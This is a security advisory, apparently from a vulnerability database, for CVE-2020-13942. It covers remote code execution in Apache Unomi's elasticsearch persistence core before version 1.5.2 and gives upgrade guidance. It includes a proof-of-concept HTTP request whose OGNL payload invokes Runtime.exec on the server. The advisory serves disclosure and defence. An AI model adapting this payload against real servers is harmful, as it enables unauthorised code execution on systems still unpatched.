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Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-persistence-elasticsearch-core package, versions [,1.5.2)

0.0
critical

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-JAVA-ORGAPACHEUNOMI-1045350

  • published

    25 Nov 2020

  • disclosed

    25 Nov 2020

  • credit

    Eugene Rojavski

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Introduced: 25 Nov 2020

CVE-2020-13942 Open this link in a new tab
CWE-94 Open this link in a new tab

How to fix?

Upgrade org.apache.unomi:unomi-persistence-elasticsearch-core to version 1.5.2 or higher.

Overview

org.apache.unomi:unomi-persistence-elasticsearch-core is a Core ElasticSearch persistence implementation for the Apache Unomi Context Server

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint.

PoC 

POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
 
 
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}